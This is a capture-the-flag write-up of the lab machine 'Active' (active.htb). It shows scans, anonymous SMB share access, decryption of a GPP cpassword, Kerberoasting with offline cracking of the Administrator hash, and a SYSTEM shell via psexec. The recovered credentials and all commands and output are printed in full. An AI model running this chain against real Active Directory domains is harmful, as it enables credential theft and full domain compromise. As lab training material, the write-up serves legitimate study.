This is meant to be a bit of a showcase of https://github.com/XoanOuteiro/rasbora but i do fear this is under the toolsets ideal difficulty.
look $IP
┌─[2026-11-19T22:35:36+01:00] (2026-11-19T21:35:36Z)
│ sudo nmap -sS -Pn -p- --min-rate 3000 -T4 -oN look-10.129.103.25/sweep.nmap 10.129.103.25
└──────────────────────────────────────────────────────────────────────
[sudo] password for kali:
Starting Nmap 7.99 ( https://nmap.org ) at 2026-11-19 22:35 +0100
Nmap scan report for 10.129.103.25
Host is up (0.094s latency).
Not shown: 65513 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5722/tcp open msdfsr
9389/tcp open adws
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
49162/tcp open unknown
49167/tcp open unknown
49169/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 26.25 seconds
└─[2026-11-19T22:36:04+01:00] elapsed 28s exit 0
┌─[2026-11-19T22:36:04+01:00] (2026-11-19T21:36:04Z)
│ sudo nmap -sS -Pn -p 1,53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,49152,49153,49154,49155,49157,49158,49162,49167,49169 -sC -sV -O -oN look-10.129.103.25/deep.nmap 10.129.103.25
└──────────────────────────────────────────────────────────────────────
Starting Nmap 7.99 ( https://nmap.org ) at 2026-11-19 22:36 +0100
Nmap scan report for 10.129.103.25
Host is up (0.052s latency).
PORT STATE SERVICE VERSION
1/tcp closed tcpmux
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-11-19 21:36:08Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5722/tcp open msrpc Microsoft Windows RPC
9389/tcp open mc-nmf .NET Message Framing
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49162/tcp open msrpc Microsoft Windows RPC
49167/tcp open msrpc Microsoft Windows RPC
49169/tcp open msrpc Microsoft Windows RPC
Aggressive OS guesses: Microsoft Windows 7 SP1 or Windows Server 2008 R2 or Windows 8.1 (98%), Microsoft Windows Server 2012 R2 (96%), Microsoft Windows 7 SP1 (95%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 (95%), Microsoft Windows Windows 7 SP1 (95%), Microsoft Windows Vista Home Premium SP1, Windows 7, or Windows Server 2008 (95%), Microsoft Windows Vista SP1 (95%), Microsoft Windows 7 or Windows Server 2008 R2 or Windows 8.1 (95%), Microsoft Windows Server 2016 (93%), Microsoft Windows 10 1703 or Windows 11 21H2 - 23H2 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2.1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-11-19T21:37:08
|_ start_date: 2026-11-19T21:34:19
|_clock-skew: -4s
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 78.40 seconds
└─[2026-11-19T22:37:23+01:00] elapsed 79s exit 0
No creds so ill add this to /etc/hosts and then well see.
10.129.103.25 active.htb
So we do indeed have the ability to get some information on SMB:
smbrd $IP
┌─[2026-11-19T22:42:10+01:00] (2026-11-19T21:42:10Z)
│ sh -c 'smbclient -L //10.129.103.25 -N 2>/dev/null'
└──────────────────────────────────────────────────────────────────────
Anonymous login successful
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Replication Disk
SYSVOL Disk Logon server share
Users Disk
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available
└─[2026-11-19T22:42:11+01:00] elapsed 1s exit 0
┌─[2026-11-19T22:42:11+01:00] (2026-11-19T21:42:11Z)
│ sh -c 'rpcclient -U "" -N 10.129.103.25 -c querydominfo 2>/dev/null'
└──────────────────────────────────────────────────────────────────────
└─[2026-11-19T22:42:12+01:00] elapsed 1s exit 1
┌─[2026-11-19T22:42:12+01:00] (2026-11-19T21:42:12Z)
│ sh -c 'rpcclient -U "" -N 10.129.103.25 -c enumdomusers 2>/dev/null'
└──────────────────────────────────────────────────────────────────────
└─[2026-11-19T22:42:12+01:00] elapsed 0s exit 1
┌─[2026-11-19T22:42:12+01:00] (2026-11-19T21:42:12Z)
│ sh -c 'rpcclient -U "" -N 10.129.103.25 -c enumdomgroups 2>/dev/null'
└──────────────────────────────────────────────────────────────────────
└─[2026-11-19T22:42:13+01:00] elapsed 1s exit 1
┌─[2026-11-19T22:42:13+01:00] (2026-11-19T21:42:13Z)
│ sh -c 'rpcclient -U "" -N 10.129.103.25 -c enumprinters 2>/dev/null'
└──────────────────────────────────────────────────────────────────────
└─[2026-11-19T22:42:13+01:00] elapsed 0s exit 1
┌─[2026-11-19T22:42:13+01:00] (2026-11-19T21:42:13Z)
│ bash -c 'set -o pipefail; enum4linux-ng -A 10.129.103.25 2>/dev/null | head -80'
└──────────────────────────────────────────────────────────────────────
└─[2026-11-19T22:42:13+01:00] elapsed 0s exit 127
With this toolset we can now see how to connect via the command:
servrec smb
We get this line
smbclient //$IP/Replication/ -N
smbclient //$IP/Users/ -N
Replication seems like generic AD and Users we cannot connect to.
Eventually digging into Replication we get:
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> get Groups.xml
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups.xml (1.8 KiloBytes/sec) (average 1.8 KiloBytes/sec)
This is most often not standard.
It contains a field called CPASSWORD:
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
We can pass it to chash.
echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8
pG5aSVYdYw/NglVmQ' > cpass.txt
chash cpass.txt
1 lines, 0 types, 1 unrecognised
unrecognised: line 1 "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xU..."
nothing in the table matched. The escape hatches:
hashcat --example-hashes | grep -B2 -i FRAGMENT
john --list=formats | tr ',' '\n' | grep -i FRAGMENT
So it is non standard. It seems to a GPP Password which Windows encrypts using a disclosed key as per https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/credential-access/unsecured-credentials/group-policy-preferences/gpp-password
This page indicates us to use this tool:
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18
Ok so now we have a user password pair which is ideal. Now we can employ nxclur.
nxclur $IP "SVC_TGS" "GPPstillStandingStrong2k18"
[*] auth: password
┌─[2026-11-19T22:58:12+01:00] (2026-11-19T21:58:12Z)
│ nxc ldap 10.129.103.25 -u SVC_TGS -p GPPstillStandingStrong2k18 --users
└──────────────────────────────────────────────────────────────────────
LDAP 10.129.103.25 389 DC [*] Windows 7 / Server 2008 R2 Build 7601 (name:DC) (domain:active.htb) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.103.25 389 DC [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18
LDAP 10.129.103.25 389 DC [*] Enumerated 4 domain users: active.htb
LDAP 10.129.103.25 389 DC -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.129.103.25 389 DC Administrator 2018-07-18 21:06:40 0 Built-in account for administering the computer/domain
LDAP 10.129.103.25 389 DC Guest <never> 0 Built-in account for guest access to the computer/domain
LDAP 10.129.103.25 389 DC krbtgt 2018-07-18 20:50:36 0 Key Distribution Center Service Account
LDAP 10.129.103.25 389 DC SVC_TGS 2018-07-18 22:14:38 0
└─[2026-11-19T22:58:15+01:00] elapsed 3s exit 0
┌─[2026-11-19T22:58:15+01:00] (2026-11-19T21:58:15Z)
│ nxc ldap 10.129.103.25 -u SVC_TGS -p GPPstillStandingStrong2k18 --active-users
└──────────────────────────────────────────────────────────────────────
LDAP 10.129.103.25 389 DC [*] Windows 7 / Server 2008 R2 Build 7601 (name:DC) (domain:active.htb) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.103.25 389 DC [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18
LDAP 10.129.103.25 389 DC [*] Total records returned: 4, total 2 user(s) disabled
LDAP 10.129.103.25 389 DC -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.129.103.25 389 DC Administrator 2018-07-18 21:06:40 0 Built-in account for administering the computer/domain
LDAP 10.129.103.25 389 DC SVC_TGS 2018-07-18 22:14:38 0
└─[2026-11-19T22:58:18+01:00] elapsed 3s exit 0
┌─[2026-11-19T22:58:18+01:00] (2026-11-19T21:58:18Z)
│ nxc ldap 10.129.103.25 -u SVC_TGS -p GPPstillStandingStrong2k18 --admin-count
└──────────────────────────────────────────────────────────────────────
LDAP 10.129.103.25 389 DC [*] Windows 7 / Server 2008 R2 Build 7601 (name:DC) (domain:active.htb) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.103.25 389 DC [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18
LDAP 10.129.103.25 389 DC Administrator
LDAP 10.129.103.25 389 DC krbtgt
└─[2026-11-19T22:58:22+01:00] elapsed 4s exit 0
4 users · 2 active · 2 disabled · 2 admin
── admin · active ── (go here first)
Administrator [admin] Built-in account for administering the computer/domain
── active ──
SVC_TGS
── disabled · cannot log in, skip them ──
Guest Built-in account for guest access to the computer/domain
krbtgt [admin] Key Distribution Center Service Account
[*] active usernames -> ldap-names-10.129.103.25.txt (2 names)
impacket-GetNPUsers active.htb/ -usersfile ldap-names-10.129.103.25.txt -dc-ip 10.129.103.25 -no-pass -format hashcat
spray 10.129.103.25 -U ldap-names-10.129.103.25.txt -p PASS # every protocol, this is the next move
So it seems like we are fundamentally the only non admin acc.
Next we can simply attempt a direct dual roast.
roast $IP active.htb "SVC_TGS" "GPPstillStandingStrong2k18"
[*] SVC_TGS with password, domain auth
┌─[2026-11-19T23:04:02+01:00] (2026-11-19T22:04:02Z)
│ nmap -Pn -p445 --script smb2-time -oN roast-10.129.103.25/smb2-time.nmap 10.129.103.25
└──────────────────────────────────────────────────────────────────────
Starting Nmap 7.99 ( https://nmap.org ) at 2026-11-19 23:04 +0100
Nmap scan report for active.htb (10.129.103.25)
Host is up (0.028s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb2-time:
| date: 2026-11-19T22:04:01
|_ start_date: 2026-11-19T21:34:19
Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds
└─[2026-11-19T23:04:04+01:00] elapsed 2s exit 0
[*] DC clock skew -0h00m01s (-1 s) source: smb2-time, DC says 2026-11-19T22:04:01 UTC
[*] under 5 minutes, no faketime needed
┌─[2026-11-19T23:04:04+01:00] (2026-11-19T22:04:04Z)
│ impacket-GetNPUsers active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.129.103.25 -request -format hashcat -outputfile roast-10.129.103.25/asrep.txt
└──────────────────────────────────────────────────────────────────────
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
No entries found!
└─[2026-11-19T23:04:05+01:00] elapsed 1s exit 0
┌─[2026-11-19T23:04:05+01:00] (2026-11-19T22:04:05Z)
│ impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.129.103.25 -request -outputfile roast-10.129.103.25/tgs.txt
└──────────────────────────────────────────────────────────────────────
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- ----------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 21:06:40.351723 2026-11-19 22:35:17.543741
[-] CCache file is not found. Skipping...
└─[2026-11-19T23:04:06+01:00] elapsed 1s exit 0
[*] tgs.txt: 1 hash(es) Administrator -> roast-10.129.103.25/tgs.txt
Kerberoast (RC4) MUST CRACK · moderate
Salted and iterated, but not punishing. A wordlist pass is worth running.
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt --rules=best64 hash.txt
the commands above read hash.txt: echo '$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$5020374e608ff673116d784e10f7ac04$8191607aa7b3b6bf18f71079fd4a00df2123152c88c697fa6d54dad624abebe2cc9427a05005f2012a4ffcc9bedbe0f2bd53f43ca08a37486ad5daa82c4aefffff0fa1c1954e9c66b179c5852c3a3d0fcc7d4ca0e4da3ae0995733064798351b2c517959942aec5166249c8b7425985d9f0fe76121f9777e4f14ff0256914b543bad348c877ca47742f637d3488b83793d44984275de7760527a8f2c3a2ec4a2eaea910889afc6df2c40c447c1a02e4810e374f0a8fd47ce8a1dae568eff943ccdc517cfdee6af519a82ca7883eb3b3444f0727a6efd8422825fd0ce1c2673d9ca906158220dd08604ef5bbaddcd6344a5542af2ba36329c8a4a52873919a8a082dc277b3b60649d8641e86de0e88fcaf177e215e2a4d0c6fd0ad5dcc6e72ad2e3f82128041d6fea033d1b7ee4000b8aafb8fa1900b3da9fcbf1d493c4e5ed3dfef5d90d32e3d05541b8376c9e9167cf90dc0ea9718bd13b49cb8672dc22b8866ecdeed00aaff94d4d22664c68896a4246b769d8a7106b80b5e78b1c4bbb0ab5a87a8a7780b8aee0156d7df429f7ccd02600e6c5758a8a39c9b99e3aaed557314e29a086b1bcf7dc90278edc4ffbadaecea109cad7866fa8980296752f453060a6b9602d409eb577f3f4666c317ef81d748d9d00f42c54fa0b7baf9b38b25afd30304ee41aa032f86801236c867a87b49bea39c8051baf6969e4a1fd74ae9f1cf4a20ce18aa972e5954bd33be578ebdc05e3f3505b0cd2e6691acf8cceb5f6e7f4fe2bee499c008a9ed34db7f84711487ca1cadb081acd4944c2d673b46bcd84c3e9871d1563ffe560124b5cbdf0e0145f8adc5ecba923e8881f876c044995d988f388a6c7a60b3a387e035662f9e5164bc0d1a712f35e6dd821dfda492b3c770b3bc3276c1ec206ba4b808f79c6c8cda644a45fdee87964635551e378ef46793f4a4d18b39988dc5e4088c13c79b5332e6079418f04e45e7bb3ef2594541cf39a96082bd7944be007049c2f0d6a475a47332484669a3a6097fbff81a17d4c6e2e77a932bdf74baf9a80a2ccd6641fe531b6f520140ed45fd89164fd124481dc5272d4ad254f952c1c67ae1a858a6aba8dec6879a10f3c72a84e3d2f66a2ba92745e99bd848400dc8d0acdac7df4557cdd60f7fed7d278bc0785201a0001224f7fe906aa08d64ff4d5c97475b387986f2af776ca3604bc9d1ab30019aa0bff1cb01fcfdbdf5da727fd12ca98ff93bd4951c3f0657413e0f8696e' > hash.txt
empty hashcat output is usually the potfile, not a failure.
--show to print what it already has, --potfile-disable to redo it.
with the file: hashcat -m 13100 roast-10.129.103.25/tgs.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
[*] cracked passwords go into spray; a Kerberoast hit is a service account and often local admin on its box
Brilliant, we have an administrator TGS.
ls
cpass.txt ldap-active-10.129.103.25.txt ldap-names-10.129.103.25.txt look-10.129.103.25
Groups.xml ldap-admins-10.129.103.25.txt ldap-users-10.129.103.25.txt roast-10.129.103.25
cd roast-10.129.103.25/
ls
smb2-time.nmap tgs.txt
chash tgs.txt
1 lines, 1 type, 0 unrecognised
Kerberoast (RC4) 1 hash MUST CRACK · moderate
Salted and iterated, but not punishing. A wordlist pass is worth running.
hashcat -m 13100 tgs.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt --rules=best64 tgs.txt
empty hashcat output is usually the potfile, not a failure.
--show to print what it already has, --potfile-disable to redo it.
john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt --rules=best64 tgs.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)
1g 0:00:00:04 DONE (2026-11-19 23:14) 0.2444g/s 2576Kp/s 2576Kc/s 2576KC/s Tiffani1432..Thrash1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
And we got administrator password. Damm. If only oscp was this easy.
nxc smb $IP -u "administrator" -p "Ticketmaster1968"
SMB 10.129.103.25 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.103.25 445 DC [+] active.htb\administrator:Ticketmaster1968 (Pwn3d!)
No WinRM port so i guess we pop a shell over psexec or sum.
impacket-psexec active.htb/Administrator:"Ticketmaster1
968"@$IP
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 10.129.103.25.....
[*] Found writable share ADMIN$
[*] Uploading file NGeCApmK.exe
[*] Opening SVCManager on 10.129.103.25.....
[*] Creating service nNze on 10.129.103.25.....
[*] Starting service nNze.....
[!] Press help for extra shell commands Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami nt authority\system
C:\Windows\system32>
Sure. Trivial.